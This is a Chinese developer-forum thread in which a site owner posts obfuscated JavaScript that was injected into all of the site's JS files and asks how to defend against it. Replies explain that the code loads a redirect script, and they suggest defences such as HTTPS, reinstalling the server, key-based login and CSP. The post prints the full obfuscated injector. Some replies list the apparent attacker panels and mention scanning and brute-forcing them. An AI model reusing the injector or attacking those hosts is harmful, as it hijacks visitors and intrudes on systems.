V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
xiaonianji
V2EX  ›  程序员

网站所有的 Js 文件被加入了下面的这段代码,请问是什么原因呢?该如何防御

  •  
  •   xiaonianji · 79 天前 · 4664 次点击
    这是一个创建于 79 天前的主题,其中的信息可能已经有所发展或是发生改变。
    代码如下


    var a = ['w4kGaULCug==', 'wovDrMK0w7/DgQ==', 'wo3DlsKUwqfCmMK/YW3CmzAc', 'w6JSwpTCg8Ki', 'w4HDvMKhZQE=', 'Nm/Dn8OPYQ==', 'NXNkMTM=', 'w6XDiwzDlsKA', 'KsO/aEPCuFfCjAorUk7CjcO4wrISw6fChsO9bQ==', 'wp1JfGY9', 'w6XDgg/DjcKpw7YQ', 'w5PDrCvDmcKB', 'wq1yw4TDrMOV', 'w68FQ3fCgA==', 'TMKNDlvDpAjDtA==', 'wqvDgiMFSkRzwoFj', 'PsKbw7XCgVA=', 'wrpzD8O4wrLCsGU=', 'Y8OMw78nw4LCmzM=', 'w68rbmrCtA==', 'cMKFwq3CqT0=', 'wqLDkSTCow==', 'w4lew5nCu8K2B8KT', 'w4QJwplKw5s=', 'wpnDrMKow7rDjA==', 'KsO/aEPCuFfCjA1vBwvDjsO4wrMUw7rCjsO/bSTCgw==', 'wpbCjnLCnQ==', 'F8OAwqzDmUI=', 'w6wZJMKx', 'wrbCnUnCpsOl', 'LUPDi8OGdQ==', 'dcKsFTfCiA==', 'w6wLdlw=', 'VsKvwrXCkA7CkxNdAsOnwqZhK8OAw5dIw51hwqg+w64=', 'w5DDq8Kgfg==', 'w43CpVLCuMKz', 'VcKhO1jDoQ==', 'wqEgEcKvUg==', 'CMKnw47CkloTw4zCk2LDkcKPWg9GTsOlw43DqH/DlcKS', 'NcOpwrfDuMKv', 'w48uwow=', 'w4xYAExsw5NaSMKYLMKPFE0DBcOmw5bDum4=', 'W8KQAUvDrg==', 'wqF3w5fDi8Ox', 'H3LDqMOVZw==', 'UMKvwrLCkQ==', 'WQcTw4vDgA==', 'w4oxTQEVcMK5', 'WMK6BnHDog==', 'wpPDmW3CtsOU', 'GcKtw5TClEcRwok=', 'Y8OMw78nw5nChSMBOcK8w6A=', 'TCzCuT/Djw==', 'w5/ClsOKDMKr', 'wp/Dj0jCg2A=', 'wojCrcOOAHUhNGAzWsO7wqDDscKnwoHCq8OnJVA=', 'wpvDusK1w77Dsw==', 'wpHDssK+w7k=', 'wql2w4A=', 'w7hpw73DqMK6', 'P8O1wovDgXE=', 'w6vCiVLCvcKP', 'aMOOw50Cw48=', 'SsOvHAHDhsKrw4NtwqbCm8KnHcOZVAwjYHzDicOEaTlvw4E=', 'w6Rqw67CgGc=', 'w7DDgcK/RjI=', 'w6cYwqR4w4U=', 'w69kw7vCt8KE', 'w7IEYl0=', 'KMObdHvCrA==', 'dsKmwqzClSo=', 'E8OTwotIAw==', 'LMO1W3PCpg==', 'w4guUx4D', 'R8Krwq/CtxU=', 'w7ZKw6LCg8KeYCo=', 'WD4hw77Dug==', 'CmBXCzk=', 'w7vCk8OkZlQ=', 'asKowqPCtxM=', 'CcONwrjDm8Kf', 'wooBQg5dW8KHw4nDqyDDlg/CllsXFcKTwo/Dr3HDp8OiwqTCskvCkxrCt0jDtSk0', 'KcODwr7Dj8KG', 'agk1w5HDig==', 'XsKLw4oKwo3Cqn1KbcO4w4kLD8KqYBRcw6/CqyPCqsO9PyM=', 'w4PCs33Cg8Kk', 'wo3Drz00w74=', 'w7NAw7/CvF8=', 'w4fDocK+ehrDnMO/', 'w7NGw4fCvMK9', 'woxtYAEZbsK1c0vDjsKxO2tcNcKHwpLDq2PDkRzCh3Q+E8KcwpFdIMK+w5xiTCoMNMOPM8O1FcOUDB1+wok6MTbCvMKVDMO4w57Cug7DpcKowrXDj8OLw5sWwpXCliMTZlxUwqTCgTTDsMOXF8KECmfDt8KhwqVO', 'w7Ndw5vCkcKD', 'w4/CocKbFTM=', 'w6JXw6XChMKU', 'w6PDnxPDkcK0', 'w6TCr1vCpsKd', 'w40iwqlow6w=', 'FMOCwoVNEg==', 'wrZCVifCpw==', 'w5dUwqzCoMKu', 'dgUJw6nDpQ==', 'wqkpL8KHUmAM'];
    (function(b, c) {
    var d = function(f) {
    while (--f) {
    b['push'](b['shift']());
    }
    };
    var e = function() {
    var f = {
    'data': {
    'key': 'cookie',
    'value': 'timeout'
    },
    'setCookie': function(l, m, n, o) {
    o = o || {};
    var p = m + '=' + n;
    var q = 0x0;
    for (var r = 0x0, s = l['length']; r < s; r++) {
    var t = l[r];
    p += ';\x20' + t;
    var u = l[t];
    l['push'](u);
    s = l['length'];
    if (u !== !![]) {
    p += '=' + u;
    }
    }
    o['cookie'] = p;
    },
    'removeCookie': function() {
    return 'dev';
    },
    'getCookie': function(l, m) {
    l = l || function(p) {
    return p;
    }
    ;
    var n = l(new RegExp('(?:^|;\x20)' + m['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
    var o = function(p, q) {
    p(++q);
    };
    o(d, c);
    return n ? decodeURIComponent(n[0x1]) : undefined;
    }
    };
    var i = function() {
    var l = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
    return l['test'](f['removeCookie']['toString']());
    };
    f['updateCookie'] = i;
    var j = '';
    var k = f['updateCookie']();
    if (!k) {
    f['setCookie'](['*'], 'counter', 0x1);
    } else if (k) {
    j = f['getCookie'](null, 'counter');
    } else {
    f['removeCookie']();
    }
    };
    e();
    }(a, 0x179));
    var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['KyesdD'] === undefined) {
    (function() {
    var h = function() {
    var k;
    try {
    k = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
    } catch (l) {
    k = window;
    }
    return k;
    };
    var i = h();
    var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    i['atob'] || (i['atob'] = function(k) {
    var l = String(k)['replace'](/=+$/, '');
    var m = '';
    for (var n = 0x0, o, p, q = 0x0; p = l['charAt'](q++); ~p && (o = n % 0x4 ? o * 0x40 + p : p,
    n++ % 0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) {
    p = j['indexOf'](p);
    }
    return m;
    }
    );
    }());
    var g = function(h, l) {
    var m = [], n = 0x0, o, p = '', q = '';
    h = atob(h);
    for (var t = 0x0, u = h['length']; t < u; t++) {
    q += '%' + ('00' + h['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);
    }
    h = decodeURIComponent(q);
    var r;
    for (r = 0x0; r < 0x100; r++) {
    m[r] = r;
    }
    for (r = 0x0; r < 0x100; r++) {
    n = (n + m[r] + l['charCodeAt'](r % l['length'])) % 0x100;
    o = m[r];
    m[r] = m[n];
    m[n] = o;
    }
    r = 0x0;
    n = 0x0;
    for (var v = 0x0; v < h['length']; v++) {
    r = (r + 0x1) % 0x100;
    n = (n + m[r]) % 0x100;
    o = m[r];
    m[r] = m[n];
    m[n] = o;
    p += String['fromCharCode'](h['charCodeAt'](v) ^ m[(m[r] + m[n]) % 0x100]);
    }
    return p;
    };
    b['pwSzdv'] = g;
    b['FHYCZA'] = {};
    b['KyesdD'] = !![];
    }
    var f = b['FHYCZA'][c];
    if (f === undefined) {
    if (b['ofguEY'] === undefined) {
    var h = function(i) {
    this['XPARKA'] = i;
    this['SpQSlz'] = [0x1, 0x0, 0x0];
    this['GnmFej'] = function() {
    return 'newState';
    }
    ;
    this['QkHizH'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
    this['gXalrj'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
    };
    h['prototype']['qxjHTI'] = function() {
    var i = new RegExp(this['QkHizH'] + this['gXalrj']);
    var j = i['test'](this['GnmFej']['toString']()) ? --this['SpQSlz'][0x1] : --this['SpQSlz'][0x0];
    return this['nPEtwj'](j);
    }
    ;
    h['prototype']['nPEtwj'] = function(i) {
    if (!Boolean(~i)) {
    return i;
    }
    return this['KgZUjW'](this['XPARKA']);
    }
    ;
    h['prototype']['KgZUjW'] = function(j) {
    for (var k = 0x0, l = this['SpQSlz']['length']; k < l; k++) {
    this['SpQSlz']['push'](Math['round'](Math['random']()));
    l = this['SpQSlz']['length'];
    }
    return j(this['SpQSlz'][0x0]);
    }
    ;
    new h(b)['qxjHTI']();
    b['ofguEY'] = !![];
    }
    e = b['pwSzdv'](e, d);
    b['FHYCZA'][c] = e;
    } else {
    e = f;
    }
    return e;
    };
    var f = function() {
    var h = {};
    h[b('0x6', '7Dxc')] = function(k, l) {
    return k === l;
    }
    ;
    h[b('0x61', 'a%oA')] = 'YbZMj';
    h['cRxxV'] = b('0x12', 'wF91');
    h[b('0x14', 'wF91')] = b('0x48', 'COhn');
    var i = h;
    var j = !![];
    return function(k, l) {
    var m = {};
    m[b('0x1d', '[email protected]')] = i[b('0x54', '$VHR')];
    var n = m;
    var o = j ? function() {
    if (l) {
    if (i[b('0x18', 'U5mN')](i[b('0x2f', ')DXv')], i[b('0x5', 'LX^G')])) {
    var r = n[b('0x4a', 'L1Y&')][b('0x20', 'Lyt0')]('|');
    var s = 0x0;
    while (!![]) {
    switch (r[s++]) {
    case '0':
    t['log'] = func;
    continue;
    case '1':
    t[b('0x63', 'Is#S')] = func;
    continue;
    case '2':
    return t;
    case '3':
    t[b('0x3b', 'FOKP')] = func;
    continue;
    case '4':
    t['trace'] = func;
    continue;
    case '5':
    t['exception'] = func;
    continue;
    case '6':
    t[b('0x10', '(JP]')] = func;
    continue;
    case '7':
    t['debug'] = func;
    continue;
    case '8':
    t['table'] = func;
    continue;
    case '9':
    var t = {};
    continue;
    }
    break;
    }
    } else {
    var p = l[b('0x2', '[email protected]')](k, arguments);
    l = null;
    return p;
    }
    }
    }
    : function() {}
    ;
    j = ![];
    return o;
    }
    ;
    }();
    var e = f(this, function() {
    var h = {};
    h['gHrTf'] = function(k, l) {
    return k !== l;
    }
    ;
    h[b('0x42', 'U5mN')] = b('0x8', 'QhWC');
    h[b('0x64', 'K1$*')] = b('0x45', ')DXv');
    h['akRhn'] = function(k) {
    return k();
    }
    ;
    var i = h;
    var j = function() {
    if (i[b('0x36', 'a%oA')](i[b('0x55', 'sWxZ')], i['HOBsm'])) {
    var m = fn[b('0x1c', 'no2k')](context, arguments);
    fn = null;
    return m;
    } else {
    var k = j[b('0x21', 'gppR')](i[b('0x3a', ')@iy')])()[b('0x1e', 'sJRr')]('^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}');
    return !k[b('0x41', 'pizW')](e);
    }
    };
    return i[b('0x3e', 'DccT')](j);
    });
    e();
    var d = function() {
    var h = {};
    h['EXaez'] = function(k, l) {
    return k === l;
    }
    ;
    h[b('0x25', 'S7WR')] = b('0x46', '9qRx');
    h['rXcSJ'] = function(k, l) {
    return k !== l;
    }
    ;
    h['FYmHz'] = b('0x4f', '6Xv9');
    var i = h;
    var j = !![];
    return function(k, l) {
    var m = {};
    m[b('0xf', '%YCE')] = function(p, q) {
    return i['EXaez'](p, q);
    }
    ;
    m['sYoxR'] = i[b('0x24', 'qCYr')];
    m['XtOUU'] = b('0xd', 'eo4*');
    var n = m;
    if (i[b('0x5f', '(JP]')](i[b('0xe', 'U5mN')], b('0x44', 'sJRr'))) {
    var o = j ? function() {
    if (n[b('0x53', ')Yx7')](n[b('0x43', '5y70')], b('0x2b', 'L1Y&'))) {
    if (l) {
    var p = l[b('0x37', 'Lyt0')](k, arguments);
    l = null;
    return p;
    }
    } else {
    var r = j ? function() {
    if (l) {
    var s = l['apply'](k, arguments);
    l = null;
    return s;
    }
    }
    : function() {}
    ;
    j = ![];
    return r;
    }
    }
    : function() {}
    ;
    j = ![];
    return o;
    } else {
    var q = test['constructor'](b('0x38', 'K1$*'))()[b('0x30', 'C[x2')](n[b('0x5b', ')@iy')]);
    return !q[b('0x4c', 'QhWC')](e);
    }
    }
    ;
    }();
    var c = d(this, function() {
    var h = {};
    h[b('0x1f', 'Is#S')] = function(o, p) {
    return o(p);
    }
    ;
    h['toGEl'] = function(o, p) {
    return o + p;
    }
    ;
    h['zAwGu'] = function(o) {
    return o();
    }
    ;
    h[b('0x1b', 'Qx0k')] = function(o, p) {
    return o !== p;
    }
    ;
    h[b('0x33', 'QhWC')] = b('0x3', 'QhWC');
    h['UAJgG'] = b('0x56', 'P2iv');
    h[b('0x22', 'no2k')] = b('0x40', 'QhWC');
    h[b('0x32', 'Is#S')] = b('0x5e', 'DccT');
    h[b('0x5a', '9sO)')] = function(o, p) {
    return o(p);
    }
    ;
    h['mlNWi'] = '{}.constructor(\x22return\x20this\x22)(\x20)';
    h[b('0x28', 'COhn')] = function(o, p) {
    return o !== p;
    }
    ;
    h[b('0x5c', 'U5mN')] = 'AXmVx';
    var i = h;
    var j = function() {};
    var k;
    try {
    var l = i[b('0x4b', 'qCYr')](Function, i[b('0x2c', 'Is#S')](b('0x27', 'K1$*'), i['mlNWi']) + ');');
    k = i[b('0x3d', 'qCYr')](l);
    } catch (o) {
    k = window;
    }
    if (!k[b('0x29', '3B1d')]) {
    k['console'] = function(p) {
    if (i[b('0xc', 'LX^G')](i[b('0x60', 'pizW')], i[b('0x9', '9qRx')])) {
    var u = i[b('0x65', 'QhWC')](Function, i['toGEl'](i[b('0x1', 'K1$*')]('return\x20(function()\x20', b('0xa', '0uLu')), ');'));
    k = i[b('0x62', 'wF91')](u);
    } else {
    var q = i[b('0x2a', '3B1d')][b('0x0', 'ixyG')]('|');
    var r = 0x0;
    while (!![]) {
    switch (q[r++]) {
    case '0':
    s['exception'] = p;
    continue;
    case '1':
    s[b('0x23', 'pizW')] = p;
    continue;
    case '2':
    s[b('0x3f', 'Is#S')] = p;
    continue;
    case '3':
    s['debug'] = p;
    continue;
    case '4':
    var s = {};
    continue;
    case '5':
    s[b('0x50', 'bi5R')] = p;
    continue;
    case '6':
    return s;
    case '7':
    s[b('0x49', '6Xv9')] = p;
    continue;
    case '8':
    s[b('0x34', 'Ng&Q')] = p;
    continue;
    case '9':
    s[b('0x59', 'L1Y&')] = p;
    continue;
    }
    break;
    }
    }
    }(j);
    } else {
    if (i[b('0x5d', 'eo4*')](i[b('0x19', 'a%oA')], 'hUGoc')) {
    var m = '1|5|2|4|0|3|7|6'[b('0x15', 'P2iv')]('|');
    var n = 0x0;
    while (!![]) {
    switch (m[n++]) {
    case '0':
    k['console'][b('0x17', '3B1d')] = j;
    continue;
    case '1':
    k[b('0x51', ')DXv')][b('0x47', 'a%oA')] = j;
    continue;
    case '2':
    k[b('0x31', 'eo4*')]['debug'] = j;
    continue;
    case '3':
    k[b('0x2d', '6Xv9')][b('0x2e', 'ZeYJ')] = j;
    continue;
    case '4':
    k[b('0x4', 'wF91')][b('0x58', 'Lyt0')] = j;
    continue;
    case '5':
    k[b('0x4e', '[email protected]')]['warn'] = j;
    continue;
    case '6':
    k['console']['trace'] = j;
    continue;
    case '7':
    k[b('0x35', '6AQ3')][b('0x1a', 'ixyG')] = j;
    continue;
    }
    break;
    }
    } else {
    var q = {};
    q[b('0x26', '3B1d')] = i[b('0x3c', 'e8v^')];
    q[b('0x4d', '[email protected]')] = i[b('0xb', '9qRx')];
    var r = q;
    var s = function() {
    var t = s[b('0x52', 'eo4*')](r[b('0x57', 'Lyt0')])()[b('0x11', 'pizW')](r[b('0x7', '0Y9T')]);
    return !t[b('0x39', 'e8v^')](e);
    };
    return s();
    }
    }
    });
    c();
    document[b('0x16', 'wF91')](unescape(b('0x13', '[email protected]')));
    29 条回复    2022-11-16 09:31:43 +08:00
    Kakus
        1
    Kakus  
       79 天前
    Kakus
        2
    Kakus  
       79 天前
    @Kakus 第一段是上面这个,加载另一段 js ,加载的 js 里面看上去就是跳转小网站的

    lichdkimba
        3
    lichdkimba  
       79 天前
    @Kakus 这咋还原的
    Kakus
        4
    Kakus  
       79 天前   ❤️ 1
    JS 混淆还原,使用的这个工具: https://ob.nightteam.cn/
    FrankFang128
        5
    FrankFang128  
       79 天前
    开启 https 即可
    Leo306
        6
    Leo306  
       79 天前
    流量劫持?建议使用 https
    ysc3839
        7
    ysc3839  
       79 天前
    先在服务器上用 wget 或 curl 访问本机地址看看是不是也包含这些。如果是的话说明服务器中毒了,建议备份数据重装。如果不是的话开启 https 。
    MMMMMMMMMMMMMMMM
        8
    MMMMMMMMMMMMMMMM  
       79 天前
    看了一下他的 apk 和网站源码,似乎是一个叫“宝塔”系统,不知道有什么漏洞没

    http://xin.alimp4.com:8888/login

    http://aliysapp1.com:10101
    tkHello
        9
    tkHello  
       79 天前
    装流氓软件了
    huangqihong
        10
    huangqihong  
       79 天前
    @Kakus 打不开啊
    dextercai
        11
    dextercai  
       79 天前
    大概率是根据 reference 来跳转到别的页面。比如搜索引擎进来的流量可以被他导到他的 apk 下载页面。
    而网站管理者因为一般都是直接访问的,可能浑然不知。

    建议查查服务器那边是不是有人进来动过了。
    xiaonianji
        12
    xiaonianji  
    OP
       79 天前
    @FrankFang128 已经开启 https
    xiaonianji
        13
    xiaonianji  
    OP
       79 天前
    @Kakus 网站打不开呀
    Kakus
        14
    Kakus  
       79 天前
    @huangqihong
    @xiaonianji
    网上随便找的工具,可能被大家点挂了吧
    Kakus
        15
    Kakus  
       79 天前
    @huangqihong
    @xiaonianji
    目前可以正常访问
    xiaonianji
        16
    xiaonianji  
    OP
       79 天前
    @Kakus 感谢!请问大佬他是怎么把修改我的 Js 文件的?该如何防御呀?感觉被他盯上了。。
    Kakus
        17
    Kakus  
       79 天前
    @xiaonianji 参考#6 #7 说的,先判断是源文件被改动,还是流量劫持
    xiaonianji
        18
    xiaonianji  
    OP
       79 天前
    @Kakus 登录服务器查看是源文件被改动了,我现在是手动删除了加入的代码,只是不知道如何防御
    xdym520
        19
    xdym520  
       79 天前
    先检查一下网站有没有什么漏洞吧
    ztaosony
        20
    ztaosony  
       79 天前
    你服务器被搞了
    frank553000
        21
    frank553000  
       79 天前
    之前也是很多国外的服务器和国外 IP 的虚拟主机被插了这种代码,不知道哪来的
    Kakus
        22
    Kakus  
       79 天前
    @xiaonianji 有条件重装的话,最好重装一下系统;然后关闭账号密码登录,改用密钥文件登录。
    pipiqiang
        23
    pipiqiang  
       79 天前
    花点钱请人帮忙看下是不是系统有漏洞吧....
    systemcall
        24
    systemcall  
       79 天前
    要是没什么重要的服务,备份一下数据重装吧
    Linux 服务器其实也挺容易被挂马的
    只不过 Windows 服务器被挂马了,一般壁纸会被换掉,很容易看出来
    aoling
        25
    aoling  
       79 天前
    你网站被入侵了,请检查后门

    或者设置 strict-origin-when-cross-origin
    Features
        26
    Features  
       79 天前
    @MMMMMMMMMMMMMMMM 我测试一下就知道了,哈哈
    tf141
        27
    tf141  
       79 天前
    这个网站我前几天也碰到了,就是用浏览器搜东西突然就跳到一个 H 站,都不知道是从哪里跳的,没有访问危险网站,浏览器是 chrome ,怀疑是电脑中毒了,我还直接重装了系统,现在看会不会是运营商的问题
    MMMMMMMMMMMMMMMM
        28
    MMMMMMMMMMMMMMMM  
       78 天前
    @Features 我也扫了,还顺手跑了个字典,没跑出来就溜了
    l2d
        29
    l2d  
       78 天前
    这个问题大概率来源是跨站脚本攻击( XSS )。

    先从加载的位置删除这个脚本,这个是缓解措施。然后在后端加输入过滤,尤其是涉及数据库操作和直接返回外部输入的。从输入中转义掉 html 标签,双引号、实体编码等字符。
    还有开启一些全局的 XSS 防御配置项,比如 Spring 框架可以开启全局 xss 防护和 csp 限制 javascript 脚本的加载来源:
    @Configuration
    public class SecurityConf {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http.headers()
    .xssProtection()
    .and()
    .contentSecurityPolicy("script-src 'self'");
    return http.build();
    }
    }

    当然 csp 也包含一些其他的安全策略,可以参考 MDN 的官方文档: https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

    另外就是前端不要拼接原生 html ,如果需要自定义 html 的,用白名单标签做防御,白名单以外的标签转移掉
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   广告投放   ·   实用小工具   ·   1663 人在线   最高记录 5497   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 43ms · UTC 14:41 · PVG 22:41 · LAX 06:41 · JFK 09:41
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.